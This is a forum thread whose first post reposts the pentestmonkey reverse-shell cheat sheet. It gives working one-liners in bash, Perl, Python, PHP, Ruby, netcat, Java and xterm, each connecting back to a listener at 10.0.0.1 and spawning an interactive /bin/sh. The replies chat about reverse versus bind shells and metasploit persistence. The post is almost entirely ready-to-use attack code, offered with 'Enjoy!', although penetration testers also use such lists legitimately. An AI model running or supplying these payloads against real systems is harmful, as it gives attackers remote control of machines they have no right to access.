[superMAUS]

Firstly I would like to say I didn't write any of this. Its a great compilation and Ive been using it frequently. All credits go to pentestmonkey.net for compiling the list.

Secondly these are really aimed at *NIX systems so don't be tryin' dis on cmd.exe (if you didn't know Mac is UNIX based).

Bash.
Only some versions of bash can actually send a reverse shell, the author tested it on Ubuntu 10.10.
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl.
For a less feature-free check out http://pentestmonkey.net/tools/web-shell...erse-shell

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python.
This was tested under Linux / Python 2.7.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP.
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby.ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat.
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm.
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

Enjoy!

[Dyme]

Wow thanks for the copy and paste man some HQ stuff here.

One of the simplest forms of reverse shell is an xterm session.

lol

[superMAUS]

Wow thanks for the copy and paste man some HQ stuff here.

np.

[Adorapuff]

Backconnect is lame. Remote shell is better.

[Dyme]

Backconnect is lame. Remote shell is better.

Isn't a reverse shell a type of "remote shell"?

[Adorapuff]

Isn't a reverse shell a type of "remote shell"?

The problem with a reverse shell is that it can be disconnected easily and if you close the connection and don't have anything else your screwed with a remote shell you can connect over and over again without any issues unless its detected but there is much less room for issues with remote shells.

[Dyme]

The problem with a reverse shell is that it can be disconnected easily and if you close the connection and don't have anything else your screwed with a remote shell you can connect over and over again without any issues unless its detected but there is much less room for issues with remote shells.

I was more wondering what you mean by "remote shell" as I've never heard that term used to describe something other than a shell (you have access to) on a remote system. I'm assuming you referring to something like a persistent bind shell in which the server accepts the connection instead of the client? Would I be correct with that depiction?

[Adorapuff]

I was more wondering what you mean by "remote shell" as I've never heard that term used to describe something other than a shell (you have access to) on a remote system. I'm assuming you referring to something like a persistent bind shell in which the server accepts the connection instead of the client? Would I be correct with that depiction?

Yeah I think metasploit calls it TCP Bind or something I forgot the exact term.

[Christ]

Yeah I think metasploit calls it TCP Bind or something I forgot the exact term.

Persistent ipv6 is my favorite. Check out Hak5's video on persistence with metasploit and you'll see why.

[Alan Turing]

Isn't the entire point of back connecting to get a remote shell?????????????????????!!!!!!!!!!